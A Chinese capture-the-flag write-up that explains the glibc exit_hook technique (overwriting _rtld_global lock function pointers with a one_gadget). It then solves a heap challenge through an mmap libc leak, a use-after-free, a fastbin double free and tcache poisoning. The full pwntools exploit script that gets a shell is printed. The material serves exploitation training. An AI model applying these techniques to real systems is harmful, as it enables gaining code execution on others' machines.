linux程序调用过程
在Linux下一个程序真正的入口点是_start()
函数,在该函数中会调用__libc_start_main()
函数,这个函数会调用__libc_csu_init()
函数进行一系列的初始化工作,之后才会调用main函数,来到用户代码空间
同样的,无论用户代码中是否调用exit()
函数,在用户代码结束后程序都会缺省调用exit函数
exit函数调用链
关键点在于exit调用的__run_exit_handler
函数里面调用了 __call_tls_dtors
、_dl_fini
、_IO_cleanup
、_exit
函数,最后是在_exit
函数里面利用系统调用结束程序。
重点在于_dl_fini
函数。
这个函数中先后调用:rtld_lock_default_lock_recursive
、_dl_sort_map
、rtld_lock_default_unlock_recursive
、__do_global_dtors_aux
、_fini
。
并且其中rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
是利用函数指针调用的。
这两个函数指针保存在_rtld_global
结构体中,只需要修改这两个函数指针为onegadget,即可利用exit触发getshell。
这就是exit_hook,实际上就是修改_rtld_global
结构体中的rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
的函数指针。
题目分析
漏洞点
pages没有限制,可以输入一个很大的数,这样malloc就会触发mmap,就会分配libc中的内存充当heap,然后利用show(idx)就能根据偏移泄露main_arena处的libc地址。
存在UAF。但是最多释放11次。
攻击思路
利用第一个漏洞点,触发mmap,申请到libc中的chunk,然后根据偏移泄露libc地址。 再填满tcachebin,泄露heap_key和heap_base。
接下来在fastbin中构造double_free,再将tcachebin中的chunk全部申请出来,此时只剩fastbin中的double_free链表。然后申请一个fastbin,就会触发将fastbin链表添加到tcachebin中,就可以利用修改fd任意写地址了。只需计算出exit_hook的地址,然后申请到exit_hook处内存,修改为one_gadget为即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node4.anna.nssctf.cn', 28318) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def add(index,content): rl(": ") sl('1') rl("Index: ") sl(str(index)) rl("Content: ") s(content) def show(index): rl(": ") sl('3') rl("Index: ") sl(str(index)) def delete(index): rl(": ") sl('2') rl("Index: ") sl(str(index))
rl("How many pages your notebook will be? :")
sl(str(0x40040000))
for i in range(10): add(i,'a') show(537498) rl("Content: ") libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak - 0x218cc0 lg("libc_base",libc_base)
for i in range(8): delete(i) show(0) rl("Content: ") heap_key = u64(p.recv(5).ljust(8,'\x00')) lg("heap_key",heap_key) heap_base = heap_key << 12 lg("heap_base",heap_base)
delete(8) delete(7) for i in range(7): add(i,'a')
exit_hook = 0x21a6c0+libc_base lg("exit_hook",exit_hook) onegadget = [0xeeccc,0xeeccf,0xeecd2] add(7,p64((exit_hook)^(heap_key)))
add(8,p64(0)*2) add(9,p64(0)*2)
add(10,p64(onegadget[0]+libc_base)*2)
rl(": ") sl('4')
inter()
|